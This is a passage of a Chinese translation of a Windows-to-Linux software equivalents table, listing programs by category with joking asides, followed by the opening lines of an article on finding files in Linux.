2) Gphoto2.
4.3) 多媒体(视频和其它)
视频、mpeg4 播放器 1) BSplayer
2) Zoomplayer
3) Windows 媒体播放器
4) VideoLAN
5) Winamp3
6) Mplayer
7) RealPlayer
8) Xing
9)Simplayer
1) Mplayer.(前端:Kplayer
(LiveCD distribution of Mplayer——MoviX)
2) Xine.(前端:SinekTotem
3) VideoLAN
4) Aviplay
5) Winamp3.
6) Noatun
7) KDE 媒体播放器
8) XMovie.
9) Kaboodle.
10) MpegTV
11) Avifile
12) Xmps
13) Ogg Tarkin. (???)
14) Theora. (???)
字符终端上的视频、mpeg4 播放器 QuickView 1) Mplayer
2) QuickView
DVD 播放器 PowerDVD, WinDVD, MicroDVD, Windows 媒体播放器,VideoLAN 1) Ogle.
2) Mplayer
3) Xine
4) Aviplay
5) VideoLAN
6) OMS
DVD 破解、编码工具 Gordian Knot, Mencoder(from Mplayer) 1) Drip
2) Transcode
3) Mencoder. (from Mplayer)
4) Ffmpeg
5) DVD::Rip.
简单的视频创建和编辑工具 Windows Movie Maker 1) iMira Editing.[私有]
2) MainActor.[私有]
3) Broadcast 2000.
4) Avidemux
专业的视频创建和编辑工具 Adobe Premiere, Media Studio Pro 1) iMira Editing
2) Cinelerra
3) MainActor.
4) Broadcast 2000.
5) Lives
6) CinePaint
截获视频的工具(Cutting video) Virtual Dub 1) Avidemux.
2) Kino.
视频转换(Converting video) Virtual Dub, Mencoder(from Mplayer) 1) Transcode
2) Mencoder(from Mplayer)
3) Ffmpeg.
处理 TV 信号接收、看电视 AVerTV, PowerVCR 3.0, CinePlayer DVR, Mplayer, … 1) Tvtime
2) Kwintv.
3) Xawtv
4) Zapping
5) GnomeTV.
6) Mplayer
7) Xawdecode
字符终端下处理电视信号接收 1) Mplayer
2) fbtv.
3) aatv.
处理 QuickTime 格式 QuickTime 播放器 1) QuickTime
2) Mplayer + Sorenson codec.
3) OpenQuicktime
4) Xanim
产生二维和三维立体效果 Adobe After Effects 1) Shake.[Proprietary, $129.95]
2) Plugins for Gimp.
动画制作 Animation Shop, … 1) CinePaint
2) Gimp 插件
生成山水、地形 Bryce Terraform
世界构建 World Construction Set, Animatek
World Builder
???
开发视频应用程序的框架 ??? 1) Gstreamer
2) Live.
5) 办公室、商业应用
办公套件 MS Office, StarOffice / OpenOffice, 602Software 1) OpenOffice
2) StarOffice[私有]
3) Koffice.
4) HancomOffice.[私有]
5) Gnome Office
6) Applixware Office. [私有]
7) Siag Office
8) TeX, LaTeX, …
办公套件 WordPerfect Office 2000 WordPerfect Office 2000 for Linux. (从 Corel网站不再能够得到了。这是以前的 Windows 版本,运行在 Wine之下 🙂
字处理 Word, StarOffice / OpenOffice Writer, 602Text, Abiword 1) Abiword.
2) TextMaker[私有]
3) WordPerfect
4) Ted
5) StarOffice / OpenOffice Writer.
6) Kword.
7) LyX
8) Kile(KDE 集成 LaTeX 环境,KDE Integrated LaTeX Environment)
电子表格 Excel, StarOffice / OpenOffice Calc, 602Tab 1) Gnumeric
2) Abacus
3) StarOffice / OpenOffice Calc.
4) Kspread
用已有的数据绘制曲线、图表 Excel, … 1) Kivio.
2) Dia.
3) KChart.
4) xfig
5) Gnuplot
6) GtkGraph.
7) GNU Plotutils
8) Ploticus.
创建幻灯片(演示文档) MS PowerPoint, StarOfficePresentation, OpenOfficeImpress 1) StarOfficePresentation
2) OpenOffice Impress
3) Kpresenter
4) MagicPoint
5) Kuickshow & gimp 🙂
本机数据库(Local database) MS Access, InterBase6, OpenOffice + MySQL 1) KNoda.
2) Gnome DB Manager
3) OpenOffice + MySQL
4) InterBase7[私有]
5) InterBase6
6) Berkley DB
7) Rekall[私有]
8) StarOffice Adabase
接收引文、消息,构造曲线图,分析金融市场 Omega Research Trade Station 2000 1) The Market Analysis System(市场分析系统,MAS)
电子商务和网上交易软件 1) Weblogic [私有]
2) IBM WebSphere Application Server [私有]
3) iPlanet
4)osCommerce
5) JOnAS
6) COCOON
1) Weblogic[私有]
2) JBoss
3) IBMWebSphere Application Server[私有]
4) osCommerce
5) JOnAS
6) COCOON
个人财务管理 1) MS Money
2) Quicken
3) Moneydance [私有]
1) GNUcash.
2) GnoFin
3) Kmymoney
4) Grisbi
5) Moneydance. [私有]
项目管理 MS Project, Project Expert 7 1) MrProject
2) Outreach
金融记帐软件包(全球)Financial accounting package (global) ??? 1)HansaBusiness Solutions. [私有]
2) Quickbooks.
金融记帐软件包(俄罗斯)Financial accounting package (russian) "1C: Accounting" 1)HansaBusiness Solutions. [私有]
2) IceB.
3) 《无忧财政》"Finances withoutproblems".
4) Ananas.
5) E/AS.
6) 1L: Project.
金融记帐软件包(印度和亚洲)Financial accounting package (India& Asia) ??? Kalculate.[私有]
企业自动化(俄罗斯)(russian) "1C: Enterprise" 1) Keeper.[私有]
2) Oblik. [私有]
3) IceB.
4) Compiere
ERPCRM (英语) ??? 1) Dolibarr
ERPCRM (俄语) "BOSS-Corporation" 1) NauRP
2) Compiere
3) Dolibarr
公司档案流系统(俄语) 1) "Boss-Referent"
2) Documentum
3) "Delo"
4) Lanit:LanDoc
1) NauDoc
2) Documentum.
3) 《老板参考》"Boss-Referent"(没有客户部分)
6) 游戏
从何处获得 你想去的任何地方 🙂 The LinuxGame Tome (happypenguin.org) | LinuxGames.com| Kde Games | Linux Game Publishing
Linux 游戏列表 http://www.icculus.org/lgfaq/gamelist.php
能在 WineX 下运行的 Windows 游戏 这里是一个搜索页面,这里是一个完整游戏列表 (very big).
Tetris 1) LTris
2) XWelltris
3) Emacs + "Meta-X tetris".
4) Ksirtet
Standard Windows games 1) Kdegames.
2) Gnome-games.
Mines 1) KMines.
2) Perlmines.
3) Dmines
Civilization FreeCiv.
Civilization: Call to Power Civilization: Call to Power.
Sid Meyer Alpha Centauri Sid Meyer Alpha Centauri.
Sim City 3000 Sim City 3000.
Command&Conquer FreeCNC.
Warcraft 2, Starcraft (?) FreeCraft.
(Win)Digger 1) Digger.
2) XDigger.
Arkanoid, Zball, … Lbreakout2
Quake 1, 2, 3 1) Quake 1,2, 3
2) QuakeForge
3) DarkPlaces
1) Quake 1,2, 3
2) QuakeForge
3) DarkPlaces
CounterStrike CounterStrike under WineX
Urban Terror Urban Terror.
DOOM 1) jDoom /Doomsday
2) Zdoom
3) DOOM Legacy.
4) LxDOOM.
5) PrBoom.
6) EDGE
7) Vavoom
8) Original Doom
1) jDoom /Doomsday
2) Zdoom
3) DOOM Legacy.
4) LxDOOM.
5) PrBoom.
6) EDGE
7) Vavoom
8) OriginalLinux Doom (X11/svgalib)
Heretic 1) DOOMLegacy.
2) jHeretic / Doomsday
3) Vavoom
4) Original Heretic
1) DOOMLegacy.
2) Vavoom
3) Heretic, GL Heretic
Hexen 1) jHexen /Doomsday
2) Vavoom
3) Original Hexen
1) Hexen/SDL
2) Vavoom
Heretic 2 Heretic 2
Return to Castle Wolfenstein Return to CastleWolfenstein. [私有]
Descent Descent.
Never Winter Nights Never Winter Nights.
Unreal Tournament / Unreal Tournament 2003 Unreal Tournament / Unreal Tournament 2003.
Soldier Of Fortune Soldier Of Fortune.
Tribes 2 Tribes 2.
Blood 1 Qblood
Worms Nil
Lines 1) GtkBalls.
2) gLines.
MS Flight Simulator FlightGear
Lemmings Pingus
竞赛(Racing) Need For Speed 1) Tux Racer :).
2) KartlingRace
国际象棋 ChessMaster, … 1) Glchess.
2) Xboard.
3) Eboard.
7) 编程和开发
集成开发环境(IDE) 1) Microsoft VisualStudio .net
2) Emacs, XEmacs
3) Vim + ctags + scripts from vim.sf.net
4) Boa Constructor
5) PythonCard
1) CodeForge.
2) Kdevelop + Qt3 Designer.
3) Eclipse
4) Glade + Motor or + Xwpe or + any texteditor.
5) Emacs, XEmacs
6) Vim + ctags + scripts from vim.sf.net
7) Boa Constructor
8) PythonCard
Visual C++ IDE Borland C++ Builder, MS Visual C 1) Anjuta +Glade + Devhelp.
2) KDE Studio Gold[私有]
3) Dev-C++
4) Kylix. [私有](Kylix个人版是免费的)
5) vtkBuilder.
6) foxBuilder.
7) wxDesigner.
8) Arriba.[私有]
9) Code Crusader.[私有]
10) CodeWarrior.[私有]
11) Gbuilder
12) Source Navigator
13) TimeStorm[私有]
14) Understand for C++[私有]
15) SlickEdit[私有]
16) Vide.
C++ IDE Borland Turbo C++ 3.0 for DOS, , Minimalist GNU For Windows(mingw32-gcc.exe) 1) GCC (+ Motor or + Xwpe).
2) LinEdit
3) Rhide
4) Wxstudio
5) Eclipse.
Object Pascal IDE Delphi 1) Kylix[私有] (Kylix 个人版是免费的)
2) Lazarus + FPC.
Pascal Pascal, BP 1) Freepascal.
2) GNU Pascal
3) RShell(是 Borland Pascal 7.0 风格的)
Basic 语言 Basic 1) Hbasic.
2) X-basic.
3) Yabasic.
4) SmallBASIC
Prolog 语言 VisualProlog, Mercury, SICStus Prolog[私有] 1) GNU Prolog.
2) Mercury
3) SWI-Prolog
4) SICStus Prolog[私有]
5) CIAO Prolog.
汇编器(Assembler) TASM, MASM, NASM 1) NASM(Intel语法)
2) FLAT Assembler.
3) gas(AT&T 语法,是 binutils 的组成部分)
反汇编,逆向工程 SoftIce 源代码是公开的 🙂
1) ldasm
调试器(Debugger) 1) WinDbg
2) Minimalist GNU For Windows (gdb.exe)
gdb前端:
1) ddd
2) xxgdb, mxgdb
3) CGDB
4) Vim scripts
5) [X]Emacs C-mode.
6) KMD
7) NANA(库)
所见即所得(WYSIWYG)html 编辑器 1) Macromedia Dreamweaver
2) MSFrontpage
3) Netscape / Mozilla Composer
4) Openoffice HTML 编辑器
1) Netscape/ Mozilla Composer.
2) Openoffice HTML 编辑器
3) Amaya
4) GINF(Ginf Is Not Frontpage)
5) IBM WebSphere 主页建造者. [私有]
6) JXHTMLEDIT(Java).
可创建网站的功能强大的编辑器,包括一套样板,并可用各种插件来补充 Dreamweaver Ultradev ???
HTML / DHTML 编辑器 HomeSite, Coffeecup 1) QuantaPlus.
2) Bluefish.
3) WebMaker.
4) Screem
5) Toppage
6) WebDesigner
7) ScriptEditor
8) August
9) Coffeecup / Linux
10) FCKeditor
HTML / DHTML 编辑器 Arachnofilia Arachnofilia[私有]
XML 编辑器 XML Spy [私有] 1) XMLMind XML 编辑器
2) Vim
3) Emacs
Perl/Python/Tcl 集成开发环境 1) Komodo. [私有]
2) Perl DevKit.
Java 集成开发环境 JBuilder, IDEA 链接地址:Linux 下的 Java 工具
1) Jbuilder
2) NetBeans.
3) Eclipse.
4) Sun ONE Studio. [旧称 Forte]
5) Vide.
Oracle 数据库集成开发环境 T.O.A.D., SQL Navigator,PL/SQL Developer Tora.
CASE-facility for UML ArgoUML, Together ControlCenter [私有] 1) UmbrelloUML Modeller.
2) Dia+Dia2Code
3) PoceidonCE (community edition)
4) ArgoUML.
5) Together ControlCenter[私有]
Top-level CASE system Rational Rose. Rational Rose[私有]
十六进制编辑器 Hiew 1) Biew.
2) KHexEdit.
3) hexedit(用于字符终端)
4) GHex
Clipper 编译器和预处理器 CA-Clipper, The Harbour Project 1) Clip
2) The Harbour Project
3) xHarbour.
微软 .Net 风格的平台 M$ .Net 1) Mono
2) DotGNU/Portable.NET
使用 CVS WinCVS, TortoiseCVS, cvs for Windows, BitKeeper [私有] 1) cvs(用于字符终端)
2) Cervisia (KDE)
3) Lincvs(CVS 的前端)
4) BitKeeper[私有]
5) SubVersion(强化了的类似 CVS的平台 + WebDAV -> SCM)
Interbase/Firebird 集成开发环境 IBExpert 1) IBAccess
2) IBAdmin[私有]
3) IBWebAdmin (apache/ php)
Visual Basic 语言 Visual Basic Phoenix.
图形库 1) WinAPI, MFC, VCL (C, C++)
2) Tk (Tcl, C)
3) Tkinter (overTk for Python, Perl, etc)
4) wxWindows (C++) (overwinapi)
5) wxPython (Python) (overwxWindows)
6) GTK+ (link #2) (C, C++)
7) Qt (C++)
8) FLTK (C++)
9) AWT, Swing (Java)
10) Xaw – part of X-server (C)
如果工具包是面向 C 语言的,通常从其它语言中也可以使用它。其中有些语言和 C++以及其它面向对象的语言一起使用对象绑定。一开始就面向 C++ 的工具包是不可能被 C 语言使用的,而且通常——也不能被其它语言使用。

1) X11/Xext(C语言)——低级库,由其它语言使用。
2) Xt – X 工具包(C语言)——引用 X11 工具包
3) Xaw – MIT Athena (C)——引用 X11 工具包
4) Xaw3d – MIT Athena3D(C语言)——带三维视图的 Athena
5) LessTif ——Motif 1 的开源类似物(C语言)
6) OpenMotif(C语言)
7) Tk(Tcl、C语言)
8) Tkinter (over Tk for Python, Perl, etc)
9) wxWindows (C++) (over GTK+ – wxGtk or Motif – wxMotif)
10) wxPython (Python) (over wxWindows)
11) Qt (C++)
12) GTK+ (C, C++)
13) PyQt (over Qt for Python)
14) PyGTK(over GTK+ for Python)
15) Gtk::Perl (over GTK+ forPerl)
16) Qt for Perl (over Qt for Perl)
17) GtkAda (over GTK+ for Ada95)
18) FLTK (C++)
19) XView(C)
20) FOX (C++)
21) AWT, Swing (Java)
22) 经由 wine 来运行的 Windows API 和 MFC(C)

源代码文档管理系统 ??? 1) Doxygen
2) CWEB
内存泄漏追踪 1) Numega Bounds Checker
2) Rational Purify
1) MallocDebug
2) Valgrind
3) Kcachegrind
4) ElectricFence.
5) dmalloc
6) ccmalloc
7) LeakTracer
8) memprof
9) BoundsChecker.[prop]
10) mprof.
11) Insure.[prop]
12) dbx. (for Sparc)
13) YAMD
14) Njamd
15) Mpatrol
应用程序开发轮廓(测试代码的性能) ??? 1) gProf.
2) JUnit.(Java)
软件工程、软件规划 1) Rational Rose
2) Enterprise Architec
3) Visio
???
游戏编程 1) DirectX
2) libSDL
3) ClanLib
1) libSDL
2) ClanLib
处理 XML 格式、DTD、XSL/XSLT、SOAP、WSDL(编辑、调试、校验等等)所需要的一切 1) Altova XMLSpy Suite ???
源代码 -> 具有高亮度显示语法的 HTML 文档 ??? 1) Webcpp
Bug 跟踪系统 ??? 1) Bugzilla
Object Request Broker (ORB) 1) ORBIT 1) ORBIT
可移植性 ??? 1) Autoconf, Automake & Libtool
源代码索引器和交叉引用器 ??? 1) GNUGLOBAL
2) LXR
动态跟踪系统调用 ??? 1) Syscalltrack
XML C 语言语法剖析器 1) libxml (???) 1) Libxml2
8) 服务器软件
Web 服务器 1) Apache
2) IIS
3) Roxen
4) wn
5) cern-httpd
6) dhttpd
7) caudium
8) aolserver
9) Boa
1) Apache
2) Xitami
3) Thttp
4) TUX (RedHat Content Accelerator)
5) PublicFile
6) Boa
7) Caudium
8) Roxen
9) Zeus. [私有]
10) Thy
FTP 服务器 Internet Information Server, ServU, War FTP, BulletProof FTPserver 1) pure-ftpd
2) vsftpd.
3) wu-ftpd
4) proftpd
5) gl-ftpd
6) ftp.
7) PublicFile
8) Teepeedee
用于 Web 开发的语言 PHP PHP
用于 Web 开发的语言 Perl Perl
用于 Web 开发的语言 ASP ASP 的 Apache 模块
数据库引擎 MS SQL, MySQL 1) SybaseAdaptive Server Enterprise. [私有]
2) PostgreSQL, 是最先进的开放源码数据库
3) MySQL,是最流行的开放源码数据库
4) mSQL.
5) SAP DB
数据库引擎 IBM DB2 IBM DB2[私有]
数据库引擎 Oracle 1) Oracle.[私有]
2) PostgreSQL.
3) Linter(西里尔语)
数据库引擎 Informix [私有] Informix[私有]
数据库引擎 Borland Interbase, FireBird FireBird
Email 服务器 MDaemon,Hamster 1) Sendmail
2) Qmail.
3) Postfix
4) Exim
Email、PIM、群件服务器 Microsoft Exchange 1) CommuniGatePro. [私有]
2) Bynari‘s Insight GroupWare Suite(洞察力群件套件).[私有]
3) Samsung Contact.[私有]
4) Teamware Office. [私有]
5) Novell Netmail.[私有]
6) Amphora. 基于 zope 和 qmail
7) Tutos. 基于 Linux / Apache / PHP / Mysql / Sendmail.
8) Kroupware——来自 KDE PIM 开发者的项目,现正由德国政府资助
9) SuSe Linux Openexchange Server.[私有]
10) PHPGroupware
11) SCOofficeMail Server. [私有](SCO – m.d. :).
12) LinuXchangE
13) OpenOffice.org GroupwareProject. (New!)
Mail 过滤器 / spam 杀手 cygwin+Exim port 1) SpamAssassin
2) Procmail
3) Mailfilter.
4) яyrus-imap
5) Exim.
Mail 下载程序 MDaemon Fetchmail
??? Lotus Domino Lotus Domino.[私有]
一张软盘上的服务器、路由器 不可能有 想要多少就有多少 🙂
1) muLinux
2) Dachstein(firewall / dhcp).
3) Serverdisk (http /ftp).
4) Fli4l
代理服务器 MS Proxy Server, WinGate 1) Squid
2) Paco
3)Privoxy
4) Wwwoffle
5) OOPS
Server for supporting Java Servlets and JSP, canwork with Apache Tomcat Tomcat
高级服务器统计 1) AWStats 1) AWStats.(All web-, ftp-, proxy-, mail-, wap- and streaming-servers).
2) ANALOG(Web服务器)
服务器集群 ??? 1) LVS- The Linux Virtual Server(Linux 虚拟服务器)
Web Mail ??? 1) IMP
2) CAMAS.(for Caudiumweb-server).
9) 科学程序和特殊程序
有用的链接: Linux上的科学应用程序——有许多链接(既有开源软件也有专利软件)
MathCad 风格的数学系统 Mathcad Gap.
Matlab 风格的数学系统 Matlab 1) Matlab.[FTP]
2) Octave. (+ Gnuplot)
3) Scilab.
4) R.
5) Yorick
6) rlab.
7) Yacas
8) Euler.
Mathematica 风格的数学系统 Mathematica 1) Mathematica.[私有]
2) Maxima.
3) MuPad.
4) NumExp.
5) Mathomatic
Maple 风格的数学系统 Maple 1) Maple.[私有]
2) Maxima
3) MuPad
方程、数学编辑器 Mathtype, MS Equation Editor, OpenOffice Math 1) OpenOfficeMath.
2) MathMLed
3) Kformula (Koffice)
4) LyX
5) Texmacs.
三维建模程序 SolidWorks, … ProEngineer Linux.[私有]
三维建模程序 CATIA CATIA. 该软件是在 Unix 下设计的,从 2000 年的版本 4 开始,被移植到 Windows(不太成功)。
三维建模程序 SolidEdge SolidEdge(是一个更加强大的软件包 Unigraphics 的一个【组成】部分)
工程软件 ANSYS ANSYS
CAD/CAM/CAE AutoCAD, Microstation, ArchiCAD 1) Varkon
2) Linuxcad. [商业,约 100 美元]
3) Varicad. [私有]
4) Cycas. [私有]
5) Tomcad
6) Thancad
7) Fandango
8) Lignumcad
9) Giram
10) Jcad
11) QSCad
12) FreeEngineer
13) Ocadis
14) PythonCAD.
15) OpenCascade
CAD/CAM/CAE, simplified AutoCAD Lite Qcad
桌面出版系统 Adobe PageMaker, QuarkXPress Adobe Framemaker[专利软件,已被取消]
小型桌面出版系统 MS Publisher 1) Scribus——Linux桌面出版系统
2) KWord.
直方图和图表设计软件 Microsoft Visio 1) Kivio(属于 Koffice)
2) Dia.
3) KChart.
4) xfig.
5) Tgif + dotty.
6) Tulip.
7) Poseidon for UML.[有商业版和免费版]
地理图像处理软件 Erdas Imagine, ERMapper, ENVI ENVI.
GIS(地理信息系统,Geographical information system) ArcView 所有的项目:FreeGISProject
1) Grass
2) Quantum GIS.
3) PostGIS.
4) FreeGIS
5) MapQuest.
6) MapBlast.
交互式的地理数据观察器 1) Thuban 1) Thuban
位图的向量化 MapEdit, Easy Trace 1) Autotrace
Software CNC, controlling machine tools OpenCNC [私有] EMC.
TeX 风格的高级文本处理系统 MikTex, emTeX(用于DOS) 1) TeX.
2)TeTeX / LaTeX
3) LyX(所见即所想,WYSIWYM)
4) Kile
方便、功能多、用户友好的 TeX 文件、dvi 文件编辑器 WinEdt 1) Kile(KDE 集成化LaTeX 环境)
2) Ktexmaker2.
3) Tk LaTeX 编辑器
统计计算语言和环境 S-PLUS R
统计分析 SPSS, Statistica, SalStat 许多链接——这里
1) PSPP
2) OpenStat2
3) 《Linux用户可移植性工具和统计工具》
4) SalStat
经济计量学软件 Eviews, Gretl 1) Gretl.
电路模拟 1) Electronic Workbench
2) Altera MaxPlus+
1) Geda
2) Oregano
3) Xcircuit
4) Gnome Assisted Electronics
5) SPICE
6) SPICE OPUS
7) NG-SPICE
画化学结构图的程序 Chemdraw,Isisdraw Xdrawchem
下载和播放 Olympus 录音电话机 Olympus DSS 播放器 ???
市场分析软件 MetaStock ???
电子学图解方案设计 1) PCAD
2) OrCad
3) Visio
1) Eagle
2) Geda.
示波器仿真 Winoscillo Xoscope
测量主板温度和电压 MBMonitor, PCAlert, Speedfan 1) KSensors.
2) KHealthCare(KDE).
3) Gkrellm+ plugins + blackbox addons.
硬盘的 S.M.A.R.T 属性和温度 来自主板所附带的光盘,Active SMART 1) smartctl.
2) Hddtemp-0.3.
3) IDEload-0.2.
4) Smartsuite-2.1.
5) Smartmontools.
6) Ide-smart.
7) Smartsuite
内存测试 SiSoft SANDRA Memtest86
观察温度、风扇转速等等的程序 SiSoft SANDRA, SiSoft SAMANTHA 1) Ksensors
2) Lm_sensors
3) xsensors.
4) wmsensormon 和 AfterStep、WindowMaker、FluxBox 上的其它小程序
HDD(硬盘驱动器)测试、基准标定 SiSoft SANDRA, SiSoft SAMANTHA, IOzone 1) hdparm.
2) Bonnie++.
3) IOzone
4) Dbench
5) Bonnie
6) IO Bench
7) Nhfsstone
8) SPEC SFS[私有]
视频测试、基准标定 Final Reality(最终现实) 1) X11perf.
2) Viewperf.
实时控制 SHA - Sybera Hardware Access DIAPM RTAI – Realtime Application Interface(实时应用程序接口)
Simulator of nets(网状物模拟器) ??? 1) NS
神经网络模拟 ??? 1) Xnbc
2) Stuttgart(斯图加特【德国城市】)Neural(神经中枢)网络模拟器 (SNNS)
“LCD 传感器” ??? 1) Sensors-lcd
心电图观察器 ??? 1) ecg2png
把 x86 计算机变成一个全功能的类似PLC的过程控制控制器的一种软件技术 SoftPLC 1) MatPLC
翻译软件清单 Linux for translators(翻译人员用 Linux)
译码存贮器(Translation memory) 1) Trados Translators Workbench
2) Deja Vu
3) Star Transit
4) SDLX
5) OmegaT
1) OmegaT
教育软件清单 1) SchoolForge
2) Seul / EDU
设计和察看 DTDs NearFar Designer [私有] ???
有限元分析 1) FELT(有限元分析)
10) 仿真器
虚拟机仿真器 1) VMWare[私有]
2) Connectix Virtual PC [私有]
1) VMWare.[私有]
2) Win4Lin. [$89].
3) Bochs.
4) Plex86
5) User Mode Linux.
Linux 仿真器 1) CygWin
2) MKS Toolkit.
3) Bash for Windows.
3) Minimalist GNU For Windows.
1) User Mode Linux.
X Window System(XFree) 仿真器 XFree underCygWin
Windows 仿真器 1) Wine(图形用户界面有:gwine,tkwine
2) Transgaming WineX(图形用户界面有:tqgui)[非免费]
3) Crossover Office
Sony 游戏站仿真器 ePSXe, … 1) ePSXe
2) Pcsx.
ZX 频谱仿真器 X128, Speccyal, SpecX, SpecEmu, UnrealSpeccy, 1) Xzx.
2) Glukalka.
3) Fuse.
4) ZXSP-X.
5) FBZX.
6) SpectEmu
娱乐厅(Arcade)机器仿真器 ??? 1) MAME
2) Xmame / Xmess
3) Advancemame
前端:
advancemenu.ckmame.flynn. gmame. gnomame. grok. grustibus. gxmame. it. it‘s quit. fancy. kmamerun. kmamu. qmamecat. startxmame.setcleaner.tkmame
ST 仿真器 1) Steem. 1) StonX.
2) Steem.
C64 仿真器 ??? 1) Vice.
2) Frodo
Amiga 仿真器 ??? 1) UAE.
2) WinUAE
Mac 68k 仿真器 ??? 1) Basilisk II.
Game boy 仿真器 1) Visual BoyAdvance 1) Visual BoyAdvance.
2) VGBA(图形用户界面有:vgb-gui
Atari 2600 视频计算机系统仿真器 1) Stella 1) Stella
2) Saint
NES / SNES 仿真器 1) Zsnes.
2) Snes9x
1) Zsnes.
2) Snes9x
3) FWNes.
4) GTuxNes
M680x0 Arcade(娱乐厅)仿真器 1) Rainemu. 1) Rainemu
多重仿真器、其它仿真器 ??? 1) M.E.S.S
2) Zinc
11) 其它、幽默 🙂
太空模拟 1) Openuniverse
2) Celestia
3) Zetadeck
1) Openuniverse
2) Celestia
3) Kstars
4) Zetadeck
电视卡驱动程序(TV driver) RivaTV
不用安装、从 CD 运行的系统(Live CD,活现 CD) 1) WindowsPE
2) PE Builder
1) Knoppix
2) Cool Linux
3) Blin
4) DemoLinux
5) DyneBolic
6) Gentoo (live CD)
7) Lonix
8) Virtual Linux
9) Bootable Business Card (LNX-BBC).
10) ByzantineOS.
11) FreeLoader Linux.
12) MoviX.
13) FreeducCD.
14) SuSE live-eval CD.
15) Freedom Linux
16) Eagle Linux.
17) Kurumin(只有巴西葡萄牙语)
引导启动急救、工具软盘 Windows 系统软盘 1) Linux 系统软盘
2) Tomsrtbt
3) BanShee Linux
4) RIP
创建 LiveCD 用于系统恢复 ??? 1) Make CD-ROMRecovery
本机文件系统挂接 ext2fs(驱动程序),explore2fs(程序)——Windows 下访问 ext2/3 分区的程序 Linux-NTFS(NTFS分区挂接驱动程序)
安装软件和卸载软件的工具 InstallShield,WISE,GhostInstaller,微软安装器——rpm 的类似物 1) Rpm.
2) Urpmi
3) GnoRpm
4) NautilusRPM.
5) Apt-get 和前端(synaptic,aptitude, …)
6) Apt-rpm. (for RedHat,SuSE, ALT Linux, etc)
7) yum (YellowdogUpdater Modified)
8) yumenhanced by ASPLinux
9) GentooPortage
从源代码安装和卸载软件 Minimalist GNUFor Windows 1) make install, make uninstall
2) CheckInstall
3) Sinstall
4) Emerge (Gentoo)
5) Apt-get & frontends(synaptic, aptitude, …).
系统更新 Windows Update 1) Ximian Red Carpet
2) Red Hat Network
3) MandrakeOnline
4) SuSE YaST Online Update
5) CalderaVolution Online
6) Apt
7) Gentoo ebuilds (portage).
8) Debian GNU/Linux packagesearch
9) Yum
认证 MCSD, MCT, MCSE 1) RedHat Certification.
2) Sair Linux and GNUCertification.
3) Linux 专业协会(Institute)认证(LPIC)
4) Linux+
5) Prometric
6) VUE
桌面图标 资源管理器 1) 桌面文件管理器
2) Idesk
调用屏幕保护程序 桌面属性 1) xset.
2) xlockmore
3) xscreensaver
4) kscreensaver.
保存“已删除”文件的地方 回收站(Trash) 1) 废品罐(Trash Can)
2) Libtrash
校验硬盘(检查坏块) Scandisk “fsck -check”或“reiserfsck -check”
日志文件系统(reiserfs,ext3,jfs,xfs)不需要校验
磁盘碎片整理 defrag 无需整理
系统的图形用户界面 资源管理器(在旧版本 Windows 中似乎叫做程序管理器) Kde, Gnome, IceWM, Windowmaker, Blackbox, Fluxbox,
Windows XP 图形用户界面 Windows XP XPde
多重工作空间 有!!! 🙂
快速用户切换、桌面切换 Windows XP 此特性用于不连网的电脑 1) Ctrl+Alt+F1, 在命令行界面上以新用户登录,通过键入命令“startx – -:1”来启动图形用户界面。用Ctrl+Alt+F7(或Ctrl+Alt+F8,因用户的不同而不同)在屏幕之间切换。
2) 命令“gdmflexiserver -n”
3) 内建于 KDE3.1
系统的不同风味(变种) 9x, NT, XP RedHat
Mandrake
Knoppix
Debian
SuSE
ALT
ASP
Gentoo
Slackware
Linux From Scratch
战术手段 FUD(散布 Fear【恐怖】、Uncertainty【不确定】、Doubt【怀疑】的谣言) 开放源代码!
“起初他们不理睬你,然后他们嘲笑你,然后他们跟你战斗,然后你赢了。”
内核源代码能否自由获得 No Of course 🙂
命令行和脚本编程 1) command.com 🙂
2) cmd.exe
3) Windows Scripting Host
4)4DOS / 4NT
5) Minimalist GNU For Windows
6)Windows 下的 Unix 工具(AT&T)
7) KiXtart
8) ScriptLogic[私有]
1) Bash
2) Csh.
3) Zsh
4) Ash.
5) Tcsh
操作系统的免费获得 Microsoft Windows。(想想你自己。在俄罗斯有 95% 的用户使用盗版的 Windows 拷贝。) Linux——免费的操作系统!!
Nimda(尼姆达病毒) Slapper.
Wincih(系统毁灭者 CIH 病毒), klez, etc 没有类似物
后门和隐钥 你自己找吧(Decide it yourself) 🙂
彩蛋,不公开的一些玩意 展示 Windows 开发者,Excel 95 中的 Doom 游戏,Excel 2000 中的三维竞赛游戏,等等……
杂志 Windows Magazine 1) LinuxJournal
2) Linux Gazette
3) Linux magazine
4) Linux pratico (Italy).
5) Australian Linux
死于蓝屏(Blue Screen Of Death,BSOD) 1) Kernel panic(内核起不来)
2) 屏幕保护程序“死于蓝屏” 🙂
谁需要为系统的毛病和缺陷负责 微软,比而.该次 个人(帐单.守门) 1) 发行版的开发者们
2) 所有的 Linux民,Linus Torvalds 本人 🙂
3) 你自己以及你拥有的设备:双手 :))
M$.com GNU.org, FSF.org
Windows.com Linux.org
Billionare(亿万富翁)Gates(鬼门关),“Road ahead”前面的路;【引申】一刻不停地加紧赚钱 Linus Torvalds,“Just for fun”【激情使然】玩玩而已 🙂
Bill(生财)Gates(之道),“Business @ the speed of thought”《以思维的速度经商》 Richard M. Stallman,“The right to read”《阅读的权力》
The book: “Free Software,Free Society: Selected Essays of Richard M. Stallman”RMS选集:《自由软件,自由社会》

Linux中文件查找技术大全 作者:佚名

  每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件,用户自己的文件,还有共享文件等等。我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情,只要在桌面上点击“开始”-“搜索”中就能按照各种方式在本地硬盘上,局域网络,甚至在INTERNET上查找各种文件,文档。

